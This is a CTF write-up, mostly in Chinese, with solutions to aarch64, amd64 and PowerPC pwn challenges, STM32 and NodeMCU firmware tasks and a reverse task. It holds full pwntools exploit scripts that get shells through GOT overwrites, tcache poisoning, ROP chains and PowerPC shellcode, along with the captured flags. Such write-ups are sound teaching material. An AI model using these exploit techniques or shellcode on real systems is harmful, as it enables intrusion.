Pwn emarm 基本情况 Aarch64 题目没有打开 pie 。程序存在一个任意地址写入:
随机数验证输入 \x00
绕过。
远程是用 qemu 部署,地址不随机。第一次泄露地址,第二次 getshell 。
利用任意地址写,将 atoi got 改为 printf ,在 main 函数控制 atoi 参数实现格式化字符串泄露出栈上 got 表信息。
第二次就讲 atoi 修改为 system 参数为 /bin/sh\x00
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *import syscontext.log_level = "debug" context.binary = "emarm" if sys.argv[1 ] == "r" : p = remote("183.129.189.60" , 10012 ) elif sys.argv[1 ] == "l" : p = process(["qemu-aarch64" , "-L" , "." , "./emarm" ]) else : p = process(["qemu-aarch64" , "-g" , "1234" , "-L" , "." , "./emarm" ]) elf = ELF("emarm" ) libc = ELF("./lib/libc.so.6" ) p.recvuntil("passwd:" ) p.sendline("\x00" ) p.send(str (elf.got['atoi' ])) p.recvuntil("you will success" ) p.send(p64(elf.plt['printf' ])) p.recvuntil("i leave for you bye" ) p.send("%9$p" ) p.recvuntil("0x" ) leak_addr = int (p.recv(10 ),16 ) log.info("leak_addr:" +hex (leak_addr)) libc_base = leak_addr-0x206e0 log.info("libc_base:" +hex (libc_base)) if sys.argv[1 ] == "r" : p = remote("183.129.189.60" , 10012 ) elif sys.argv[1 ] == "l" : p = process(["qemu-aarch64" , "-L" , "." , "./emarm" ]) p.recvuntil("passwd:" ) p.sendline("\x00" ) p.send(str (elf.got['atoi' ])) p.recvuntil("you will success" ) p.send(p64(libc.symbols['system' ]+libc_base)) p.recvuntil("i leave for you bye" ) p.send("sh\x00" ) p.interactive()
flag{33c34e317026a39feeea14fdd97fa846}
ememarm 基本情况 Aarch64 堆题目,libc 是 2.27 ,输出功能是个摆设。能可以 malloc 0x20 & 0x30 。
程序一开始 malloc 0x20 那个堆块相当于是个链头, 0x20 和 0x30 堆内结构体如下:
1 2 3 4 5 6 7 struct { x; y; null; next_ptr; …… }
这个 next_ptr 是下一个堆块的地址,通过这个属性构成一个链表。malloc 堆块是否加入链表是看申请完那个 do you want delete
选择。
edit 的时候溢出一个 \x00
:
思路 利用溢出,释放一个 fake_chunk 。将两个 0x30 堆分别布置到 0x4132e0 和 0x413320 ,都加入链表。前一个堆被溢出后执行自身的 fd_nextsize 位置,同时这个位置被视为 0x20 堆块放入 tcachebin 。利用 edit 修改 tcachebin fd 实现 house of sprit
由于题目给的 libc 文件没有 debug 信息,所以 gdb 的 heap 和 bin 指令是不能用的。heap 指令用直接查地址代替,地址可以在 vmmap 看。tcache bin 可以查 heap 分段开始 0x250 的结构体。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *import syscontext.binary = "ememarm" context.log_level = "debug" if sys.argv[1 ] == "r" : p = remote('183.129.189.60' , 10034 ) elif sys.argv[1 ] == "l" : p = process(["qemu-aarch64" , "-L" , "." , "ememarm" ]) else : p = process(["qemu-aarch64" , "-g" , "1234" , "-L" , "." , "ememarm" ]) elf = ELF("ememarm" ) libc = ELF("./lib/libc.so.6" ) def add_1 (x, y, add ): p.sendlineafter('choice:' , '1' ) p.sendafter('cx:' , x) p.sendafter('cy:' , y) p.sendlineafter('delete?' , str (add)) def add_2 (x, y, add ): p.sendlineafter('choice:' , '4' ) p.sendafter('cx:' , x) p.sendafter('cy:' , y) p.sendlineafter('delete?' , str (add)) def edit (pos, content ): p.sendlineafter('choice: \n' , '3' ) sleep(1 ) p.sendline(str (pos)) sleep(1 ) p.send(content) p.recvuntil("~~" ) bss_addr = int (p.recvuntil('\n' ,drop=1 )) log.info("bss_addr:" +hex (bss_addr)) p.sendline('' ) add_1('a' ,'a' ,0 ) add_1('b' ,'b' ,0 ) add_2('c' ,'c' ,1 ) add_2('d' ,'d' ,1 ) edit(1 , flat(0 , 0x31 , 0 )) edit(1 , flat(0 , 0x31 , elf.got['free' ]-8 )) add_1('\x00' , '\x00' , 0 ) add_1(p8(0x40 ), p64(elf.plt['puts' ]), 1 ) edit(1 , '\x00' ) puts_addr=u64(p.recvuntil('\n' ,drop=True )[-3 :].ljust(8 ,'\x00' ))+0x4000000000 log.info("puts_addr:" +hex (puts_addr)) libc_base=puts_addr-libc.sym['puts' ] log.info('libc_base:' +hex (libc_base)) p.close() if sys.argv[1 ] == "r" : p = remote('183.129.189.60' , 10034 ) elif sys.argv[1 ] == "l" : p = process(["qemu-aarch64" , "-L" , "." , "ememarm" ]) else : p = process(["qemu-aarch64" , "-g" , "1234" , "-L" , "." , "ememarm" ]) p.sendlineafter("~~" ,'' ) add_1('a' ,'a' ,0 ) add_1('b' ,'b' ,0 ) add_2('c' ,'c' ,1 ) add_2('d' ,'d' ,1 ) edit(1 , flat(0 , 0x31 , 0 )) edit(1 , flat(0 , 0x31 , libc_base+libc.sym['__free_hook' ])) add_1('/bin/sh\x00' , '\x00' , 1 ) add_1(p64(libc_base+libc.sym['system' ]),'\x00' , 1 ) edit(1 , '\x00' ) p.interactive()
flag{1f16c67b554e9e75300f37e9f08d0aa4}
justcode 基本情况 Amd64 开启沙盒禁用 execve
直接审代码就 name 写入时能够溢出修改 canary :
因为没有置零栈区再使用,在写入 name 时可以泄露出站上的 libc 地址:
另外一个问题得细心调试才观察出来,也是因为栈上的数据没有经过置零后再使用,导致在输入 name 时,可以控制 sub_400CCA() 的写入地址 v1 ,实现任意地址写 。
思路 sub_400C47()
泄露出 libc 地址;sub_400C47()
写入目标地址,sub_400CCA()
向目标地址写入值,修改 exit 为 main 突破操作 4 次的限制;
将 rop 利用链通过 name 写入栈上,将 strdup 劫持为 gadget add rsp 8;ret
,将程序流 hijack 到栈上。也可以控制寄存器用 sub_400CCA()
scanf 往 bss 写入利用链,控制 rbp、rip 栈迁移。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *context.binary="justcode" context.log_level="debug" p = remote("183.129.189.60" ,10041 ) elf = ELF("./justcode" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p.recvuntil(":\n" ) p.sendline("1" ) p.sendline("1" ) p.sendline("2" ) p.sendline("3" ) payload = 'a' *8 p.recvuntil(":\n" ) p.sendline(payload) p.recvuntil(payload) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' ))-0x7b60a log.info("libc_base:" +hex (libc_base)) p.recvuntil(":\n" ) p.send('a' *12 +p64(elf.got['exit' ])) p.recvuntil("id:\n" ) p.sendline(str (0x400D4B )) p.sendline("b" ) bss_addr=elf.bss() main_addr=0x400D76 rop_addr=0x6020e0 pop_rdi_ret=0x21112 +libc_base pop_rsi_ret=0x202f8 +libc_base pop_rdx_ret=0x1b92 +libc_base add_rsp8_ret=0x35142 +libc_base p.recvuntil("code:\n" ) p.sendline("1" ) p.sendline("3" ) p.sendline("3" ) p.sendline("3" ) payload = 'a' *0x27 p.recvuntil(":\n" ) p.sendline(payload) p.recvuntil(payload+'\n' ) main_ret_addr = u64(p.recv(6 ).ljust(8 ,'\x00' )) log.info("main_ret_addr:" +hex (main_ret_addr)) flag_addr=main_ret_addr-0x80 -0x28 rop=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0 )+p64(pop_rdx_ret)+p64(0 )+p64(libc_base+libc.sym['open' ]) rop+=p64(pop_rdi_ret)+p64(3 )+p64(pop_rsi_ret)+p64(bss_addr)+p64(pop_rdx_ret)+p64(0x40 )+p64(elf.plt['read' ]) rop+=p64(pop_rdi_ret)+p64(bss_addr)+p64(elf.plt['puts' ])+'./flag\x00' p.recvuntil("code:\n" ) p.sendline("1" ) p.sendline("2" ) p.sendline("1" ) p.sendline("3" ) p.recvuntil(":\n" ) p.send('a' *12 +p64(elf.got['strdup' ])) p.recvuntil("id:\n" ) p.sendline(str (add_rsp8_ret&0xffffffff )) p.sendline("a" ) p.recvuntil("name:\n" ) p.send(rop) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *sh = remote("183.129.189.60" ,10041 ) elf = ELF("justcode" ) libc = ELF("libc.so" ) sh.recvuntil("code:" ) main = 0x400D4B sh.sendline("1" ) sh.sendline("1" ) sh.sendline("2" ) sh.sendline("3" ) sh.send('a' *8 ) sh.recvuntil("check it : aaaaaaaa" ) addr = u64(sh.recvuntil("\n" ,drop=True ).ljust(8 ,'\x00' )) print 'addr:' +hex (addr)libc_base = addr - 0x7b61e print 'libc_base:' +hex (libc_base)sh.recvuntil("name:" ) sh.send("a" *0xc +p64(elf.got['exit' ])) sh.recvuntil("id:" ) sh.sendline(str (main)) sh.recvuntil("info:" ) sh.sendline("a" ) rdi_ret = 0x0000000000021112 +libc_base rsi_ret = 0x00000000000202f8 +libc_base rdx_ret = 0x0000000000001b92 +libc_base rbp_ret = 0x000000000001f930 +libc_base rdx_rsi_ret = 0x0000000000115189 +libc_base leave_ret = 0x0000000000042361 +libc_base sh.recvuntil("code:" ) sh.sendline("1" ) sh.sendline("2" ) sh.sendline("3" ) sh.sendline("3" ) payload = "z" *0xc +p64(elf.got['exit' ]) sh.sendline(payload) sh.recvuntil("id:" ) sh.sendline(str (0x400CF6 )) sh.recvuntil("info:" ) sh.sendline("a" ) sh.recvuntil("no check" ) payload = 'a' *0x21 payload += p64(rdi_ret) payload += p64(0 ) payload += p64(rdx_rsi_ret) payload += p64(0x200 ) payload += p64(0x6020A0 +0x200 ) payload += p64(libc.symbols['read' ]+libc_base) payload += p64(rbp_ret) payload += p64(0x6020A0 +0x200 ) payload += p64(leave_ret) sh.send(payload) payload = './flag\x00\x00' payload += p64(rdi_ret) payload += p64(0x6020A0 +0x200 ) payload += p64(rsi_ret) payload += p64(0 ) payload += p64(libc.symbols['open' ]+libc_base) payload += p64(rdi_ret) payload += p64(3 ) payload += p64(rsi_ret) payload += p64(0x6020A0 +0x300 ) payload += p64(rdx_ret) payload += p64(0x30 ) payload += p64(libc.symbols['read' ]+libc_base) payload += p64(rdi_ret) payload += p64(1 ) payload += p64(rsi_ret) payload += p64(0x6020A0 +0x300 ) payload += p64(rdx_ret) payload += p64(0x30 ) payload += p64(libc.symbols['write' ]+libc_base) sh.sendline(payload) sh.interactive()
flag{f79047efe49d10a8001c5791c34f0dbb}
固件安全 NodeMCU 妙用strings固件分析 strings nodemcu.bin
:
flag{6808dcf0-526e-11eb-92de-acde48001122}
STM 解压得到 .bin
后缀文件,推测应该是 STM 固件分析题目。一番学习后,bin 文件可以转换为 hex 文件再丢 ida 里面分析,当然也可以直接丢 bin 文件分析,两者差别在加载是是否需要手动调加载地址。实际上 hex 文件自动加载地址是从 0x0 开始,也是不对,所以还是直接丢 bin 文件分析。
Ida32 打开,文件加载选项如下图:
按照上图设置完成后,一路 ok 返回加载 bin 文件,这是会有一个弹窗设置 ram rom 的地址,如果加载的是 hex 则没有这个窗口:
RAM start address:ram 起始地址,stm32 是0x20000000
RAM size:ram 长度, 64kb 内存是 0x10000
ROM start address:rom 起始地址,一般是 0x08000000 ,一开始是 0x08000101 加载出来不正确。
ROM size:rom 长度
Loading address:rom 装载地址
在文件开头疯狂按 d 调整数据格式,显示出程序入口 0x8000101
:
跳转过去之后在 0x8000100
处点 c
声明函数,程序结构就出来。字符串定位出 main 函数,大概看了下发现不用管,直接看另外一个字符串被调用的函数就是字符串的解密函数:
解密函数如下图,还有一些 sub 是取了符号表的功能函数:
EXP 1 2 3 4 5 6 7 enc = [0x7D , 0x77 , 0x40 , 0x7A , 0x66 , 0x30 , 0x2A , 0x2F , 0x28 , 0x40 , 0x7E , 0x30 , 0x33 , 0x34 , 0x2C , 0x2E , 0x2B , 0x28 , 0x34 , 0x30 , 0x30 , 0x7C , 0x41 , 0x34 , 0x28 , 0x33 , 0x7E , 0x30 , 0x34 , 0x33 , 0x33 , 0x30 , 0x7E , 0x2F , 0x31 , 0x2A , 0x41 , 0x7F , 0x2F , 0x28 , 0x2E , 0x64 ] for word in enc: print(chr ((word^0x1e )+3 ),end='' )
flag{1749ac10-5389-11eb-90c1-001c427bd493}
PPPPPPC
PowerPC栈溢出初探:从放弃到getshell
Powerpc 32 位大端序,保护全关。比较明显的栈溢出:
cycli 生成字符串从报错信息中得知 padding 需要 0x13c 字节。
一开始是想用 bss 区的 shellcode ,因为地址已知,直接覆盖跳转,但是遇到问题是 strcpy 会遇到 \x00 截断,而 shellcode 中将 r0 设置为 11 时高位必定为 0x00,sc 指令中间也是有 0x00 。
由于 qemu 不随机化,本地调试观察报错信息,发现会将各个寄存器值以及一些应该是栈信息:
这个地址是栈上地址,然后调试观察 shellcode 写入地址距离,计算出 shellocode 在栈上的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *import syscontext.binary = "PPPPPPC" context.log_level = "debug" if sys.argv[1 ] == "r" : p = remote("183.129.189.60" , 10039 ) elif sys.argv[1 ] == "l" : p = process(["./qemu-ppc-static" , "PPPPPPC" ]) else : p = process(["./qemu-ppc-static" , "-g" , "1234" , "-L" , "/usr/arm-linux-gnueabi" , "PPPPPPC" ]) elf = ELF("PPPPPPC" ) cycli = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaai" shellcode = "\x7c\x3f\x0b\x78" shellcode +="\x7c\xa5\x2a\x79" shellcode +="\x42\x40\xff\xf9" shellcode +="\x7f\x08\x02\xa6" shellcode +="\x3b\x18\x01\x34" shellcode +="\x98\xb8\xfe\xfb" shellcode +="\x38\x78\xfe\xf4" shellcode +="\x90\x61\xff\xf8" shellcode +="\x38\x81\xff\xf8" shellcode +="\x90\xa1\xff\xfc" shellcode +="\x3b\xc0\x01\x60" shellcode +="\x7f\xc0\x2e\x70" shellcode +="\x44\xde\xad\xf2" shellcode +="/bin/shZ" payload = shellcode.ljust(0x140 -4 ,'a' ) payload += p32(0xf6fffab8 ) p.recvuntil(": " ) p.sendline(payload) p.interactive()
Reverse decryption 打开 ida 分析算法:将明文加上下标序号后异或 0x23
EXP 1 2 3 4 5 6 enc = [ 0x12 , 0x45 , 0x10 , 0x47 , 0x19 , 0x49 , 0x49 , 0x49 , 0x1A , 0x4F , 0x1C , 0x1E , 0x52 , 0x66 , 0x1D , 0x52 , 0x66 , 0x67 , 0x68 , 0x67 , 0x65 , 0x6F , 0x5F , 0x59 , 0x58 , 0x5E , 0x6D , 0x70 , 0xA1 , 0x6E , 0x70 , 0xA3 ] for i in range (len (enc)): print(chr ((enc[i]^0x23 )-i),end='' )
1e1a6edc1c52e80b539127fccd48f05a
查阅资料 [使用 ida 逆向分析 stm32 的 bin 固件文件](